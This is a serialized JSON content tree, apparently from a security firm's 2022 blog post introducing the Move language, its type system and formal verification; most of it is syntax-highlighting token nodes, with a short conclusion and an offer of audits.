(",{"type":24,"tag":158,"props":10385,"children":10386},{"style":222},[10387],{"type":29,"value":577},{"type":24,"tag":158,"props":10389,"children":10390},{"style":188},[10391],{"type":29,"value":2194},{"type":24,"tag":158,"props":10393,"children":10394},{"style":222},[10395],{"type":29,"value":2146},{"type":24,"tag":158,"props":10397,"children":10398},{"style":496},[10399],{"type":29,"value":2203},{"type":24,"tag":158,"props":10401,"children":10402},{"style":188},[10403],{"type":29,"value":504},{"type":24,"tag":158,"props":10405,"children":10406},{"style":222},[10407],{"type":29,"value":2212},{"type":24,"tag":158,"props":10409,"children":10410},{"style":177},[10411],{"type":29,"value":2217},{"type":24,"tag":158,"props":10413,"children":10414},{"style":188},[10415],{"type":29,"value":2222},{"type":24,"tag":158,"props":10417,"children":10418},{"style":177},[10419],{"type":29,"value":1832},{"type":24,"tag":158,"props":10421,"children":10422},{"style":165},[10423],{"type":29,"value":2231},{"type":24,"tag":158,"props":10425,"children":10426},{"style":171},[10427],{"type":29,"value":230},{"type":24,"tag":158,"props":10429,"children":10430},{"style":188},[10431],{"type":29,"value":2240},{"type":24,"tag":158,"props":10433,"children":10434},{"style":165},[10435],{"type":29,"value":2245},{"type":24,"tag":158,"props":10437,"children":10438},{"style":171},[10439],{"type":29,"value":457},{"type":24,"tag":158,"props":10441,"children":10442},{"style":188},[10443],{"type":29,"value":723},{"type":24,"tag":158,"props":10445,"children":10446},{"style":222},[10447],{"type":29,"value":577},{"type":24,"tag":158,"props":10449,"children":10450},{"style":188},[10451],{"type":29,"value":2262},{"type":24,"tag":158,"props":10453,"children":10454},{"style":177},[10455],{"type":29,"value":2267},{"type":24,"tag":158,"props":10457,"children":10458},{"style":165},[10459],{"type":29,"value":2231},{"type":24,"tag":158,"props":10461,"children":10462},{"style":171},[10463],{"type":29,"value":457},{"type":24,"tag":158,"props":10465,"children":10466},{"style":188},[10467],{"type":29,"value":2125},{"type":24,"tag":158,"props":10469,"children":10470},{"class":160,"line":1545},[10471],{"type":24,"tag":158,"props":10472,"children":10473},{"style":188},[10474],{"type":29,"value":10475}," );\n",{"type":24,"tag":158,"props":10477,"children":10478},{"class":160,"line":1618},[10479,10484,10488,10492,10496,10500],{"type":24,"tag":158,"props":10480,"children":10481},{"style":177},[10482],{"type":29,"value":10483}," i",{"type":24,"tag":158,"props":10485,"children":10486},{"style":222},[10487],{"type":29,"value":462},{"type":24,"tag":158,"props":10489,"children":10490},{"style":177},[10491],{"type":29,"value":1969},{"type":24,"tag":158,"props":10493,"children":10494},{"style":222},[10495],{"type":29,"value":2308},{"type":24,"tag":158,"props":10497,"children":10498},{"style":465},[10499],{"type":29,"value":1668},{"type":24,"tag":158,"props":10501,"children":10502},{"style":188},[10503],{"type":29,"value":473},{"type":24,"tag":158,"props":10505,"children":10506},{"class":160,"line":1635},[10507],{"type":24,"tag":158,"props":10508,"children":10509},{"style":188},[10510],{"type":29,"value":2099},{"type":24,"tag":158,"props":10512,"children":10513},{"class":160,"line":1644},[10514,10518],{"type":24,"tag":158,"props":10515,"children":10516},{"style":177},[10517],{"type":29,"value":1930},{"type":24,"tag":158,"props":10519,"children":10520},{"style":188},[10521],{"type":29,"value":210},{"type":24,"tag":158,"props":10523,"children":10524},{"class":160,"line":1652},[10525,10530,10534,10538,10542],{"type":24,"tag":158,"props":10526,"children":10527},{"style":177},[10528],{"type":29,"value":10529}," assert",{"type":24,"tag":158,"props":10531,"children":10532},{"style":177},[10533],{"type":29,"value":1969},{"type":24,"tag":158,"props":10535,"children":10536},{"style":222},[10537],{"type":29,"value":3175},{"type":24,"tag":158,"props":10539,"children":10540},{"style":177},[10541],{"type":29,"value":1994},{"type":24,"tag":158,"props":10543,"children":10544},{"style":188},[10545],{"type":29,"value":473},{"type":24,"tag":158,"props":10547,"children":10548},{"class":160,"line":1704},[10549,10553,10557,10561,10565,10569,10573,10577],{"type":24,"tag":158,"props":10550,"children":10551},{"style":177},[10552],{"type":29,"value":10529},{"type":24,"tag":158,"props":10554,"children":10555},{"style":496},[10556],{"type":29,"value":1947},{"type":24,"tag":158,"props":10558,"children":10559},{"style":188},[10560],{"type":29,"value":504},{"type":24,"tag":158,"props":10562,"children":10563},{"style":177},[10564],{"type":29,"value":2217},{"type":24,"tag":158,"props":10566,"children":10567},{"style":188},[10568],{"type":29,"value":723},{"type":24,"tag":158,"props":10570,"children":10571},{"style":222},[10572],{"type":29,"value":1034},{"type":24,"tag":158,"props":10574,"children":10575},{"style":177},[10576],{"type":29,"value":1994},{"type":24,"tag":158,"props":10578,"children":10579},{"style":188},[10580],{"type":29,"value":473},{"type":24,"tag":158,"props":10582,"children":10583},{"class":160,"line":1713},[10584],{"type":24,"tag":158,"props":10585,"children":10586},{"style":188},[10587],{"type":29,"value":2099},{"type":24,"tag":158,"props":10589,"children":10590},{"class":160,"line":1731},[10591],{"type":24,"tag":158,"props":10592,"children":10593},{"style":177},[10594],{"type":29,"value":10595}," amounts_times_coins\n",{"type":24,"tag":158,"props":10597,"children":10598},{"class":160,"line":5485},[10599],{"type":24,"tag":158,"props":10600,"children":10601},{"style":188},[10602],{"type":29,"value":4366},{"type":24,"tag":158,"props":10604,"children":10605},{"class":160,"line":5493},[10606,10610,10614],{"type":24,"tag":158,"props":10607,"children":10608},{"style":177},[10609],{"type":29,"value":4374},{"type":24,"tag":158,"props":10611,"children":10612},{"style":177},[10613],{"type":29,"value":9971},{"type":24,"tag":158,"props":10615,"children":10616},{"style":188},[10617],{"type":29,"value":210},{"type":24,"tag":158,"props":10619,"children":10620},{"class":160,"line":5553},[10621,10625,10630],{"type":24,"tag":158,"props":10622,"children":10623},{"style":177},[10624],{"type":29,"value":4390},{"type":24,"tag":158,"props":10626,"children":10627},{"style":177},[10628],{"type":29,"value":10629}," opaque",{"type":24,"tag":158,"props":10631,"children":10632},{"style":188},[10633],{"type":29,"value":473},{"type":24,"tag":158,"props":10635,"children":10637},{"class":160,"line":10636},27,[10638,10642,10646],{"type":24,"tag":158,"props":10639,"children":10640},{"style":177},[10641],{"type":29,"value":3745},{"type":24,"tag":158,"props":10643,"children":10644},{"style":165},[10645],{"type":29,"value":859},{"type":24,"tag":158,"props":10647,"children":10648},{"style":188},[10649],{"type":29,"value":473},{"type":24,"tag":158,"props":10651,"children":10653},{"class":160,"line":10652},28,[10654,10658,10662,10666,10670,10674,10678,10682,10686,10690],{"type":24,"tag":158,"props":10655,"children":10656},{"style":177},[10657],{"type":29,"value":3857},{"type":24,"tag":158,"props":10659,"children":10660},{"style":496},[10661],{"type":29,"value":1947},{"type":24,"tag":158,"props":10663,"children":10664},{"style":188},[10665],{"type":29,"value":504},{"type":24,"tag":158,"props":10667,"children":10668},{"style":177},[10669],{"type":29,"value":1025},{"type":24,"tag":158,"props":10671,"children":10672},{"style":188},[10673],{"type":29,"value":723},{"type":24,"tag":158,"props":10675,"children":10676},{"style":222},[10677],{"type":29,"value":1034},{"type":24,"tag":158,"props":10679,"children":10680},{"style":496},[10681],{"type":29,"value":1947},{"type":24,"tag":158,"props":10683,"children":10684},{"style":188},[10685],{"type":29,"value":504},{"type":24,"tag":158,"props":10687,"children":10688},{"style":177},[10689],{"type":29,"value":2217},{"type":24,"tag":158,"props":10691,"children":10692},{"style":188},[10693],{"type":29,"value":1071},{"type":24,"tag":158,"props":10695,"children":10697},{"class":160,"line":10696},29,[10698,10702,10706,10710,10714,10718,10722,10727,10731,10735,10739,10743,10747,10751,10755,10759,10763,10767,10771,10775,10779,10783,10787,10791,10795],{"type":24,"tag":158,"props":10699,"children":10700},{"style":177},[10701],{"type":29,"value":3857},{"type":24,"tag":158,"props":10703,"children":10704},{"style":177},[10705],{"type":29,"value":2010},{"type":24,"tag":158,"props":10707,"children":10708},{"style":177},[10709],{"type":29,"value":2015},{"type":24,"tag":158,"props":10711,"children":10712},{"style":165},[10713],{"type":29,"value":2020},{"type":24,"tag":158,"props":10715,"children":10716},{"style":465},[10717],{"type":29,"value":2025},{"type":24,"tag":158,"props":10719,"children":10720},{"style":222},[10721],{"type":29,"value":2030},{"type":24,"tag":158,"props":10723,"children":10724},{"style":496},[10725],{"type":29,"value":10726},"len",{"type":24,"tag":158,"props":10728,"children":10729},{"style":188},[10730],{"type":29,"value":504},{"type":24,"tag":158,"props":10732,"children":10733},{"style":177},[10734],{"type":29,"value":2217},{"type":24,"tag":158,"props":10736,"children":10737},{"style":188},[10738],{"type":29,"value":521},{"type":24,"tag":158,"props":10740,"children":10741},{"style":222},[10742],{"type":29,"value":225},{"type":24,"tag":158,"props":10744,"children":10745},{"style":177},[10746],{"type":29,"value":3345},{"type":24,"tag":158,"props":10748,"children":10749},{"style":188},[10750],{"type":29,"value":2048},{"type":24,"tag":158,"props":10752,"children":10753},{"style":177},[10754],{"type":29,"value":2053},{"type":24,"tag":158,"props":10756,"children":10757},{"style":188},[10758],{"type":29,"value":2058},{"type":24,"tag":158,"props":10760,"children":10761},{"style":222},[10762],{"type":29,"value":1034},{"type":24,"tag":158,"props":10764,"children":10765},{"style":177},[10766],{"type":29,"value":2067},{"type":24,"tag":158,"props":10768,"children":10769},{"style":188},[10770],{"type":29,"value":2048},{"type":24,"tag":158,"props":10772,"children":10773},{"style":177},[10774],{"type":29,"value":2053},{"type":24,"tag":158,"props":10776,"children":10777},{"style":188},[10778],{"type":29,"value":2058},{"type":24,"tag":158,"props":10780,"children":10781},{"style":222},[10782],{"type":29,"value":577},{"type":24,"tag":158,"props":10784,"children":10785},{"style":496},[10786],{"type":29,"value":1947},{"type":24,"tag":158,"props":10788,"children":10789},{"style":188},[10790],{"type":29,"value":504},{"type":24,"tag":158,"props":10792,"children":10793},{"style":177},[10794],{"type":29,"value":2217},{"type":24,"tag":158,"props":10796,"children":10797},{"style":188},[10798],{"type":29,"value":1071},{"type":24,"tag":158,"props":10800,"children":10802},{"class":160,"line":10801},30,[10803],{"type":24,"tag":158,"props":10804,"children":10805},{"style":188},[10806],{"type":29,"value":4366},{"type":24,"tag":59,"props":10808,"children":10809},{"id":4489},[10810],{"type":29,"value":4492},{"type":24,"tag":25,"props":10812,"children":10813},{},[10814],{"type":29,"value":10815},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":24,"tag":25,"props":10817,"children":10818},{},[10819],{"type":29,"value":10820},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":24,"tag":25,"props":10822,"children":10823},{},[10824,10826,10831],{"type":29,"value":10825},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":101,"props":10827,"children":10829},{"href":4510,"rel":10828},[105],[10830],{"type":29,"value":4514},{"type":29,"value":347},{"type":24,"tag":4517,"props":10833,"children":10834},{},[10835],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":10837},[10838,10839,10840],{"id":7411,"depth":213,"text":7414},{"id":9437,"depth":213,"text":9440},{"id":4489,"depth":213,"text":4492},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":10845,"date":15,"isFeatured":16,"tags":10846,"onBlogPage":16,"body":10847,"_type":4536,"_id":4537,"_source":4538,"_file":4539,"_stem":4540,"_extension":4541},{"src":12,"height":13,"width":14},[18,19],{"type":21,"children":10848,"toc":14835},[10849,10863,10872,10876,10880,10884,10888,10894,10898,10908,10912,10916,10920,10930,10934,11062,11072,11076,11092,11121,11130,11134,11138,11147,11157,11483,11493,11509,11552,11562,11577,11747,11751,11755,11776,11780,12323,12333,12343,12347,12357,12361,12372,12405,12409,12436,12440,12444,12454,12830,12851,13057,13061,13071,13298,13302,13309,13324,13657,13661,13815,13819,13826,13836,13840,13844,13848,13852,13862,14076,14080,14084,14099,14352,14356,14360,14369,14373,14383,14387,14415,14510,14526,14530,14534,14538,14790,14794,14809,14813,14817,14821,14831],{"type":24,"tag":25,"props":10850,"children":10851},{},[10852,10853,10857,10858,10862],{"type":29,"value":30},{"type":24,"tag":32,"props":10854,"children":10855},{},[10856],{"type":29,"value":36},{"type":29,"value":38},{"type":24,"tag":32,"props":10859,"children":10860},{},[10861],{"type":29,"value":43},{"type":29,"value":45},{"type":24,"tag":25,"props":10864,"children":10865},{},[10866,10867,10871],{"type":29,"value":50},{"type":24,"tag":32,"props":10868,"children":10869},{},[10870],{"type":29,"value":55},{"type":29,"value":57},{"type":24,"tag":59,"props":10873,"children":10874},{"id":61},[10875],{"type":29,"value":64},{"type":24,"tag":25,"props":10877,"children":10878},{},[10879],{"type":29,"value":69},{"type":24,"tag":25,"props":10881,"children":10882},{},[10883],{"type":29,"value":74},{"type":24,"tag":25,"props":10885,"children":10886},{},[10887],{"type":29,"value":79},{"type":24,"tag":25,"props":10889,"children":10890},{},[10891],{"type":24,"tag":84,"props":10892,"children":10893},{"alt":86,"src":87,"title":88},[],{"type":24,"tag":25,"props":10895,"children":10896},{},[10897],{"type":29,"value":94},{"type":24,"tag":25,"props":10899,"children":10900},{},[10901,10902,10907],{"type":29,"value":99},{"type":24,"tag":101,"props":10903,"children":10905},{"href":103,"rel":10904},[105],[10906],{"type":29,"value":108},{"type":29,"value":110},{"type":24,"tag":25,"props":10909,"children":10910},{},[10911],{"type":29,"value":115},{"type":24,"tag":59,"props":10913,"children":10914},{"id":118},[10915],{"type":29,"value":121},{"type":24,"tag":25,"props":10917,"children":10918},{},[10919],{"type":29,"value":126},{"type":24,"tag":25,"props":10921,"children":10922},{},[10923,10924,10929],{"type":29,"value":131},{"type":24,"tag":101,"props":10925,"children":10927},{"href":134,"rel":10926},[105],[10928],{"type":29,"value":138},{"type":29,"value":140},{"type":24,"tag":25,"props":10931,"children":10932},{},[10933],{"type":29,"value":145},{"type":24,"tag":147,"props":10935,"children":10936},{"code":149,"language":150,"meta":7,"className":151,"style":7},[10937],{"type":24,"tag":154,"props":10938,"children":10939},{"__ignoreMap":7},[10940,10979,10998,11017,11036,11055],{"type":24,"tag":158,"props":10941,"children":10942},{"class":160,"line":161},[10943,10947,10951,10955,10959,10963,10967,10971,10975],{"type":24,"tag":158,"props":10944,"children":10945},{"style":165},[10946],{"type":29,"value":168},{"type":24,"tag":158,"props":10948,"children":10949},{"style":171},[10950],{"type":29,"value":174},{"type":24,"tag":158,"props":10952,"children":10953},{"style":177},[10954],{"type":29,"value":180},{"type":24,"tag":158,"props":10956,"children":10957},{"style":177},[10958],{"type":29,"value":185},{"type":24,"tag":158,"props":10960,"children":10961},{"style":188},[10962],{"type":29,"value":191},{"type":24,"tag":158,"props":10964,"children":10965},{"style":177},[10966],{"type":29,"value":196},{"type":24,"tag":158,"props":10968,"children":10969},{"style":188},[10970],{"type":29,"value":191},{"type":24,"tag":158,"props":10972,"children":10973},{"style":177},[10974],{"type":29,"value":205},{"type":24,"tag":158,"props":10976,"children":10977},{"style":188},[10978],{"type":29,"value":210},{"type":24,"tag":158,"props":10980,"children":10981},{"class":160,"line":213},[10982,10986,10990,10994],{"type":24,"tag":158,"props":10983,"children":10984},{"style":177},[10985],{"type":29,"value":219},{"type":24,"tag":158,"props":10987,"children":10988},{"style":222},[10989],{"type":29,"value":225},{"type":24,"tag":158,"props":10991,"children":10992},{"style":171},[10993],{"type":29,"value":230},{"type":24,"tag":158,"props":10995,"children":10996},{"style":188},[10997],{"type":29,"value":235},{"type":24,"tag":158,"props":10999,"children":11000},{"class":160,"line":238},[11001,11005,11009,11013],{"type":24,"tag":158,"props":11002,"children":11003},{"style":177},[11004],{"type":29,"value":244},{"type":24,"tag":158,"props":11006,"children":11007},{"style":222},[11008],{"type":29,"value":225},{"type":24,"tag":158,"props":11010,"children":11011},{"style":171},[11012],{"type":29,"value":230},{"type":24,"tag":158,"props":11014,"children":11015},{"style":188},[11016],{"type":29,"value":235},{"type":24,"tag":158,"props":11018,"children":11019},{"class":160,"line":259},[11020,11024,11028,11032],{"type":24,"tag":158,"props":11021,"children":11022},{"style":177},[11023],{"type":29,"value":265},{"type":24,"tag":158,"props":11025,"children":11026},{"style":222},[11027],{"type":29,"value":225},{"type":24,"tag":158,"props":11029,"children":11030},{"style":171},[11031],{"type":29,"value":230},{"type":24,"tag":158,"props":11033,"children":11034},{"style":188},[11035],{"type":29,"value":235},{"type":24,"tag":158,"props":11037,"children":11038},{"class":160,"line":280},[11039,11043,11047,11051],{"type":24,"tag":158,"props":11040,"children":11041},{"style":177},[11042],{"type":29,"value":286},{"type":24,"tag":158,"props":11044,"children":11045},{"style":222},[11046],{"type":29,"value":225},{"type":24,"tag":158,"props":11048,"children":11049},{"style":171},[11050],{"type":29,"value":230},{"type":24,"tag":158,"props":11052,"children":11053},{"style":188},[11054],{"type":29,"value":235},{"type":24,"tag":158,"props":11056,"children":11057},{"class":160,"line":301},[11058],{"type":24,"tag":158,"props":11059,"children":11060},{"style":188},[11061],{"type":29,"value":307},{"type":24,"tag":25,"props":11063,"children":11064},{},[11065,11066,11071],{"type":29,"value":312},{"type":24,"tag":154,"props":11067,"children":11069},{"className":11068},[],[11070],{"type":29,"value":318},{"type":29,"value":320},{"type":24,"tag":25,"props":11073,"children":11074},{},[11075],{"type":29,"value":325},{"type":24,"tag":25,"props":11077,"children":11078},{},[11079,11080,11085,11086,11091],{"type":29,"value":330},{"type":24,"tag":154,"props":11081,"children":11083},{"className":11082},[],[11084],{"type":29,"value":336},{"type":29,"value":338},{"type":24,"tag":101,"props":11087,"children":11089},{"href":341,"rel":11088},[105],[11090],{"type":29,"value":345},{"type":29,"value":347},{"type":24,"tag":147,"props":11093,"children":11094},{"code":350,"language":150,"meta":7,"className":151,"style":7},[11095],{"type":24,"tag":154,"props":11096,"children":11097},{"__ignoreMap":7},[11098],{"type":24,"tag":158,"props":11099,"children":11100},{"class":160,"line":161},[11101,11105,11109,11113,11117],{"type":24,"tag":158,"props":11102,"children":11103},{"style":177},[11104],{"type":29,"value":362},{"type":24,"tag":158,"props":11106,"children":11107},{"style":177},[11108],{"type":29,"value":367},{"type":24,"tag":158,"props":11110,"children":11111},{"style":188},[11112],{"type":29,"value":372},{"type":24,"tag":158,"props":11114,"children":11115},{"style":222},[11116],{"type":29,"value":377},{"type":24,"tag":158,"props":11118,"children":11119},{"style":188},[11120],{"type":29,"value":382},{"type":24,"tag":25,"props":11122,"children":11123},{},[11124,11125,11129],{"type":29,"value":387},{"type":24,"tag":32,"props":11126,"children":11127},{},[11128],{"type":29,"value":392},{"type":29,"value":347},{"type":24,"tag":395,"props":11131,"children":11132},{"id":397},[11133],{"type":29,"value":392},{"type":24,"tag":25,"props":11135,"children":11136},{},[11137],{"type":29,"value":404},{"type":24,"tag":25,"props":11139,"children":11140},{},[11141,11146],{"type":24,"tag":154,"props":11142,"children":11144},{"className":11143},[],[11145],{"type":29,"value":413},{"type":29,"value":415},{"type":24,"tag":25,"props":11148,"children":11149},{},[11150,11151,11156],{"type":29,"value":420},{"type":24,"tag":154,"props":11152,"children":11154},{"className":11153},[],[11155],{"type":29,"value":426},{"type":29,"value":428},{"type":24,"tag":147,"props":11158,"children":11159},{"code":431,"language":150,"meta":7,"className":151,"style":7},[11160],{"type":24,"tag":154,"props":11161,"children":11162},{"__ignoreMap":7},[11163,11194,11201,11248,11267,11294,11329,11368,11375,11382,11397,11476],{"type":24,"tag":158,"props":11164,"children":11165},{"class":160,"line":161},[11166,11170,11174,11178,11182,11186,11190],{"type":24,"tag":158,"props":11167,"children":11168},{"style":165},[11169],{"type":29,"value":443},{"type":24,"tag":158,"props":11171,"children":11172},{"style":188},[11173],{"type":29,"value":448},{"type":24,"tag":158,"props":11175,"children":11176},{"style":222},[11177],{"type":29,"value":225},{"type":24,"tag":158,"props":11179,"children":11180},{"style":171},[11181],{"type":29,"value":457},{"type":24,"tag":158,"props":11183,"children":11184},{"style":222},[11185],{"type":29,"value":462},{"type":24,"tag":158,"props":11187,"children":11188},{"style":465},[11189],{"type":29,"value":468},{"type":24,"tag":158,"props":11191,"children":11192},{"style":188},[11193],{"type":29,"value":473},{"type":24,"tag":158,"props":11195,"children":11196},{"class":160,"line":213},[11197],{"type":24,"tag":158,"props":11198,"children":11199},{"emptyLinePlaceholder":16},[11200],{"type":29,"value":481},{"type":24,"tag":158,"props":11202,"children":11203},{"class":160,"line":238},[11204,11208,11212,11216,11220,11224,11228,11232,11236,11240,11244],{"type":24,"tag":158,"props":11205,"children":11206},{"style":177},[11207],{"type":29,"value":362},{"type":24,"tag":158,"props":11209,"children":11210},{"style":177},[11211],{"type":29,"value":493},{"type":24,"tag":158,"props":11213,"children":11214},{"style":496},[11215],{"type":29,"value":499},{"type":24,"tag":158,"props":11217,"children":11218},{"style":188},[11219],{"type":29,"value":504},{"type":24,"tag":158,"props":11221,"children":11222},{"style":177},[11223],{"type":29,"value":101},{"type":24,"tag":158,"props":11225,"children":11226},{"style":222},[11227],{"type":29,"value":225},{"type":24,"tag":158,"props":11229,"children":11230},{"style":171},[11231],{"type":29,"value":174},{"type":24,"tag":158,"props":11233,"children":11234},{"style":188},[11235],{"type":29,"value":521},{"type":24,"tag":158,"props":11237,"children":11238},{"style":222},[11239],{"type":29,"value":225},{"type":24,"tag":158,"props":11241,"children":11242},{"style":177},[11243],{"type":29,"value":530},{"type":24,"tag":158,"props":11245,"children":11246},{"style":188},[11247],{"type":29,"value":210},{"type":24,"tag":158,"props":11249,"children":11250},{"class":160,"line":259},[11251,11255,11259,11263],{"type":24,"tag":158,"props":11252,"children":11253},{"style":177},[11254],{"type":29,"value":542},{"type":24,"tag":158,"props":11256,"children":11257},{"style":222},[11258],{"type":29,"value":347},{"type":24,"tag":158,"props":11260,"children":11261},{"style":188},[11262],{"type":29,"value":551},{"type":24,"tag":158,"props":11264,"children":11265},{"style":222},[11266],{"type":29,"value":556},{"type":24,"tag":158,"props":11268,"children":11269},{"class":160,"line":280},[11270,11274,11278,11282,11286,11290],{"type":24,"tag":158,"props":11271,"children":11272},{"style":177},[11273],{"type":29,"value":542},{"type":24,"tag":158,"props":11275,"children":11276},{"style":222},[11277],{"type":29,"value":347},{"type":24,"tag":158,"props":11279,"children":11280},{"style":188},[11281],{"type":29,"value":572},{"type":24,"tag":158,"props":11283,"children":11284},{"style":222},[11285],{"type":29,"value":577},{"type":24,"tag":158,"props":11287,"children":11288},{"style":171},[11289],{"type":29,"value":448},{"type":24,"tag":158,"props":11291,"children":11292},{"style":222},[11293],{"type":29,"value":586},{"type":24,"tag":158,"props":11295,"children":11296},{"class":160,"line":301},[11297,11301,11305,11309,11313,11317,11321,11325],{"type":24,"tag":158,"props":11298,"children":11299},{"style":177},[11300],{"type":29,"value":542},{"type":24,"tag":158,"props":11302,"children":11303},{"style":222},[11304],{"type":29,"value":347},{"type":24,"tag":158,"props":11306,"children":11307},{"style":188},[11308],{"type":29,"value":602},{"type":24,"tag":158,"props":11310,"children":11311},{"style":222},[11312],{"type":29,"value":577},{"type":24,"tag":158,"props":11314,"children":11315},{"style":171},[11316],{"type":29,"value":448},{"type":24,"tag":158,"props":11318,"children":11319},{"style":222},[11320],{"type":29,"value":615},{"type":24,"tag":158,"props":11322,"children":11323},{"style":171},[11324],{"type":29,"value":448},{"type":24,"tag":158,"props":11326,"children":11327},{"style":222},[11328],{"type":29,"value":586},{"type":24,"tag":158,"props":11330,"children":11331},{"class":160,"line":626},[11332,11336,11340,11344,11348,11352,11356,11360,11364],{"type":24,"tag":158,"props":11333,"children":11334},{"style":177},[11335],{"type":29,"value":542},{"type":24,"tag":158,"props":11337,"children":11338},{"style":222},[11339],{"type":29,"value":347},{"type":24,"tag":158,"props":11341,"children":11342},{"style":188},[11343],{"type":29,"value":640},{"type":24,"tag":158,"props":11345,"children":11346},{"style":222},[11347],{"type":29,"value":577},{"type":24,"tag":158,"props":11349,"children":11350},{"style":171},[11351],{"type":29,"value":448},{"type":24,"tag":158,"props":11353,"children":11354},{"style":222},[11355],{"type":29,"value":615},{"type":24,"tag":158,"props":11357,"children":11358},{"style":171},[11359],{"type":29,"value":448},{"type":24,"tag":158,"props":11361,"children":11362},{"style":222},[11363],{"type":29,"value":615},{"type":24,"tag":158,"props":11365,"children":11366},{"style":171},[11367],{"type":29,"value":665},{"type":24,"tag":158,"props":11369,"children":11370},{"class":160,"line":668},[11371],{"type":24,"tag":158,"props":11372,"children":11373},{"style":188},[11374],{"type":29,"value":307},{"type":24,"tag":158,"props":11376,"children":11377},{"class":160,"line":676},[11378],{"type":24,"tag":158,"props":11379,"children":11380},{"emptyLinePlaceholder":16},[11381],{"type":29,"value":481},{"type":24,"tag":158,"props":11383,"children":11384},{"class":160,"line":684},[11385,11389,11393],{"type":24,"tag":158,"props":11386,"children":11387},{"style":177},[11388],{"type":29,"value":362},{"type":24,"tag":158,"props":11390,"children":11391},{"style":177},[11392],{"type":29,"value":367},{"type":24,"tag":158,"props":11394,"children":11395},{"style":188},[11396],{"type":29,"value":210},{"type":24,"tag":158,"props":11398,"children":11399},{"class":160,"line":700},[11400,11404,11408,11412,11416,11420,11424,11428,11432,11436,11440,11444,11448,11452,11456,11460,11464,11468,11472],{"type":24,"tag":158,"props":11401,"children":11402},{"style":177},[11403],{"type":29,"value":706},{"type":24,"tag":158,"props":11405,"children":11406},{"style":496},[11407],{"type":29,"value":499},{"type":24,"tag":158,"props":11409,"children":11410},{"style":188},[11411],{"type":29,"value":504},{"type":24,"tag":158,"props":11413,"children":11414},{"style":177},[11415],{"type":29,"value":101},{"type":24,"tag":158,"props":11417,"children":11418},{"style":188},[11419],{"type":29,"value":723},{"type":24,"tag":158,"props":11421,"children":11422},{"style":222},[11423],{"type":29,"value":728},{"type":24,"tag":158,"props":11425,"children":11426},{"style":496},[11427],{"type":29,"value":499},{"type":24,"tag":158,"props":11429,"children":11430},{"style":188},[11431],{"type":29,"value":504},{"type":24,"tag":158,"props":11433,"children":11434},{"style":177},[11435],{"type":29,"value":741},{"type":24,"tag":158,"props":11437,"children":11438},{"style":188},[11439],{"type":29,"value":723},{"type":24,"tag":158,"props":11441,"children":11442},{"style":222},[11443],{"type":29,"value":750},{"type":24,"tag":158,"props":11445,"children":11446},{"style":171},[11447],{"type":29,"value":448},{"type":24,"tag":158,"props":11449,"children":11450},{"style":222},[11451],{"type":29,"value":615},{"type":24,"tag":158,"props":11453,"children":11454},{"style":171},[11455],{"type":29,"value":448},{"type":24,"tag":158,"props":11457,"children":11458},{"style":222},[11459],{"type":29,"value":615},{"type":24,"tag":158,"props":11461,"children":11462},{"style":171},[11463],{"type":29,"value":448},{"type":24,"tag":158,"props":11465,"children":11466},{"style":222},[11467],{"type":29,"value":615},{"type":24,"tag":158,"props":11469,"children":11470},{"style":171},[11471],{"type":29,"value":448},{"type":24,"tag":158,"props":11473,"children":11474},{"style":188},[11475],{"type":29,"value":473},{"type":24,"tag":158,"props":11477,"children":11478},{"class":160,"line":785},[11479],{"type":24,"tag":158,"props":11480,"children":11481},{"style":188},[11482],{"type":29,"value":307},{"type":24,"tag":25,"props":11484,"children":11485},{},[11486,11487,11492],{"type":29,"value":795},{"type":24,"tag":101,"props":11488,"children":11490},{"href":798,"rel":11489},[105],[11491],{"type":29,"value":802},{"type":29,"value":804},{"type":24,"tag":25,"props":11494,"children":11495},{},[11496,11497,11502,11503,11508],{"type":29,"value":809},{"type":24,"tag":154,"props":11498,"children":11500},{"className":11499},[],[11501],{"type":29,"value":413},{"type":29,"value":816},{"type":24,"tag":154,"props":11504,"children":11506},{"className":11505},[],[11507],{"type":29,"value":822},{"type":29,"value":824},{"type":24,"tag":147,"props":11510,"children":11511},{"code":827,"language":150,"meta":7,"className":151,"style":7},[11512],{"type":24,"tag":154,"props":11513,"children":11514},{"__ignoreMap":7},[11515,11530,11545],{"type":24,"tag":158,"props":11516,"children":11517},{"class":160,"line":161},[11518,11522,11526],{"type":24,"tag":158,"props":11519,"children":11520},{"style":177},[11521],{"type":29,"value":362},{"type":24,"tag":158,"props":11523,"children":11524},{"style":177},[11525],{"type":29,"value":843},{"type":24,"tag":158,"props":11527,"children":11528},{"style":188},[11529],{"type":29,"value":210},{"type":24,"tag":158,"props":11531,"children":11532},{"class":160,"line":213},[11533,11537,11541],{"type":24,"tag":158,"props":11534,"children":11535},{"style":177},[11536],{"type":29,"value":706},{"type":24,"tag":158,"props":11538,"children":11539},{"style":165},[11540],{"type":29,"value":859},{"type":24,"tag":158,"props":11542,"children":11543},{"style":188},[11544],{"type":29,"value":473},{"type":24,"tag":158,"props":11546,"children":11547},{"class":160,"line":238},[11548],{"type":24,"tag":158,"props":11549,"children":11550},{"style":188},[11551],{"type":29,"value":307},{"type":24,"tag":25,"props":11553,"children":11554},{},[11555,11556,11561],{"type":29,"value":875},{"type":24,"tag":154,"props":11557,"children":11559},{"className":11558},[],[11560],{"type":29,"value":881},{"type":29,"value":883},{"type":24,"tag":25,"props":11563,"children":11564},{},[11565,11566,11571,11572,11576],{"type":29,"value":888},{"type":24,"tag":154,"props":11567,"children":11569},{"className":11568},[],[11570],{"type":29,"value":426},{"type":29,"value":895},{"type":24,"tag":897,"props":11573,"children":11574},{},[11575],{"type":29,"value":901},{"type":29,"value":903},{"type":24,"tag":147,"props":11578,"children":11579},{"code":906,"language":150,"meta":7,"className":151,"style":7},[11580],{"type":24,"tag":154,"props":11581,"children":11582},{"__ignoreMap":7},[11583,11598,11677,11740],{"type":24,"tag":158,"props":11584,"children":11585},{"class":160,"line":161},[11586,11590,11594],{"type":24,"tag":158,"props":11587,"children":11588},{"style":177},[11589],{"type":29,"value":362},{"type":24,"tag":158,"props":11591,"children":11592},{"style":177},[11593],{"type":29,"value":367},{"type":24,"tag":158,"props":11595,"children":11596},{"style":188},[11597],{"type":29,